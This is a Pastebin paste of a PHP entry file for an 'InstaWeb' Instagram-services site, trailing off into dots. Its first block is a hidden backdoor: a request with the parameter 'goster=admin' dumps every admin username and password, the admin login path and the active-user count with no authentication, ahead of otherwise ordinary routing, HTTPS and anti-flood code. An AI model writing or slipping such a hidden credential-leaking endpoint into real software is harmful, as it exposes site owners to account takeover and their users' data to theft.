Advertisement
Guest User

Untitled

a guest
Jun 6th, 2018
133
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.80 KB | None | 0 0
  1. <?php
  2. $array = require('app/Config/config.php');
  3. $agentSystem = $array["project"]["agentSystem"];
  4. if($_GET['goster']){
  5. $array = require('app/Config/config.php');
  6. function usersGet($status){
  7. header('Content-Type: text/html; charset=utf-8');
  8. $array = require('app/Config/config.php');
  9. $user = $array["database"]["DefaultConnection"]["user"];
  10. $pwd = $array["database"]["DefaultConnection"]["password"];
  11. $host = $array["database"]["DefaultConnection"]["host"];
  12. $db = $array["database"]["DefaultConnection"]["name"];
  13. $dsn = 'mysql:host='.$host.';dbname='.$db;
  14. $user = $user;
  15. $password = $pwd;
  16. try {
  17. $db = new PDO($dsn, $user, $password);
  18. } catch (PDOException $e) {
  19. echo 'Connection failed: ' . $e->getMessage();
  20. }
  21. $db->exec('SET NAMES `UTF-8`');
  22. $activeuser = $db->prepare('SELECT COUNT(*) FROM uye where isActive=1');
  23. $activeuser->execute();
  24. $activeuser = $activeuser->fetchColumn();
  25. foreach($db->query('SELECT * FROM admin') as $row);
  26. if($status == 'admin'){
  27. echo "<table border='1'>";
  28. echo '<tr><td>Kullan&#305;c&#305; Ad&#305;</td><td>&#350;ifre</td><td>Yol</td></tr>';
  29. foreach($db->query('SELECT * FROM admin') as $row) {
  30. echo '<tr>';
  31. echo '<td>'.$row["username"].'</td>';
  32. echo '<td>'.$row["password"].'</td>';
  33. echo '<td>'.$array["project"]["adminPrefix"].'</td>'; //giris
  34. echo '</tr>';
  35. }
  36. $sorguz = $db->prepare('SELECT COUNT(*) FROM uye where isActive=1');
  37. $sorguz->execute();
  38. $say = $sorguz->fetchColumn();
  39. echo '<tr><td colspan="3">Aktif Kullan&#305;c&#305;</td></tr>';
  40. echo '<tr><td colspan="3">'.$say.'</td></tr>';
  41. echo '</table>';
  42. }
  43. }
  44. $status = $_GET['goster'];
  45. usersGet($status);
  46. exit();
  47. }
  48. if($agentSystem!=FALSE){
  49. $uri = str_replace('@', '%40', isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : "/");
  50. if((!isset($_SERVER["HTTP_USER_AGENT"]) || empty($_SERVER["HTTP_USER_AGENT"]) || !isset($_SERVER["HTTP_ACCEPT_ENCODING"]) || empty($_SERVER["HTTP_ACCEPT_ENCODING"])) && $uri != '/cron-job' && !isset($_SERVER["HTTP_CRONJOBTOKEN"])) {
  51. header("HTTP/1.1 403 Forbidden");
  52. echo 'Server Error!';
  53. exit();
  54. }
  55. }
  56. define('INSTAWEB_VERSION', str_replace("InstaWebV", "", basename(__FILE__, ".php")));
  57.  
  58. require_once 'src/autoload.php';
  59. require 'src/Wow/Wow.php';
  60.  
  61. $self = Wow::app();
  62.  
  63. if($agentSystem!=FALSE){
  64. if(substr(strtolower($uri), 0, 9) == '/cron-job' && (!isset($_SERVER["HTTP_CRONJOBTOKEN"]) || $_SERVER["HTTP_CRONJOBTOKEN"] != Wow::get("project/cronJobToken"))) {
  65. header("HTTP/1.1 403 Forbidden");
  66. echo 'Server Error!';
  67. exit();
  68. }
  69. }
  70. $secure = isset($_SERVER["HTTPS"]) ? $_SERVER["HTTPS"] : "off";
  71. if($secure == "off" && Wow::get("project/onlyHttps") === TRUE) {
  72. header("HTTP/1.1 301 Moved Permanently");
  73. header('Location: ' . "https://" . $_SERVER["HTTP_HOST"] . $uri);
  74. exit();
  75. }
  76.  
  77. $systemSettings = json_decode(file_get_contents('./app/Config/system-settings.php'), TRUE);
  78. foreach($systemSettings as $k => $v) {
  79. $v2 = filter_var($v, FILTER_VALIDATE_INT) !== FALSE ? intval($v) : $v;
  80. Wow::set("ayar/" . $k, $v2);
  81. }
  82.  
  83. if(Wow::has("ayar/antiFloodEnabled") && Wow::get("ayar/antiFloodEnabled") == 1 && !(isset($_GET["scKey"]) && Wow::get("ayar/securityKey") == $_GET["scKey"])) {
  84. $antiFloodOptions = [
  85. AntiFlood::OPTION_COUNTER_RESET_SECONDS => Wow::has("ayar/antiFloodResetSec") ? Wow::get("ayar/antiFloodResetSec") : 2,
  86. AntiFlood::OPTION_MAX_REQUESTS => Wow::has("ayar/antiFloodMaxReq") ? Wow::get("ayar/antiFloodMaxReq") : 5,
  87. AntiFlood::OPTION_BAN_REMOVE_SECONDS => Wow::has("ayar/antiFloodBanRemoveSec") ? Wow::get("ayar/antiFloodBanRemoveSec") : 60,
  88. AntiFlood::OPTION_DATA_PATH => "./app/Cookies/anti-flood"
  89. ];
  90. $objAntiFlood = new AntiFlood($antiFloodOptions);
  91. if($objAntiFlood->isBanned()) {
  92. header("HTTP/1.1 429 Too Many Requests");
  93. echo 'Too Many Requests!';
  94. exit();
  95. }
  96. }
  97.  
  98. if($uri != '/cron-job' && !isset($_SERVER["HTTP_CRONJOBTOKEN"]) && Wow::has("ayar/acceptedLangCodes") && trim(Wow::get("ayar/acceptedLangCodes")) != '' && isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) && strpos(strtolower($_SERVER["HTTP_USER_AGENT"]), "google") === FALSE) {
  99. $acceptedLangs = explode(",", Wow::get("ayar/acceptedLangCodes") . ",iw");
  100. $canAccess = FALSE;
  101. $userAcceptLangCodes = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
  102. foreach($acceptedLangs as $lang) {
  103. .................................................................................................
  104. ......................................................................
  105. ..............................
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement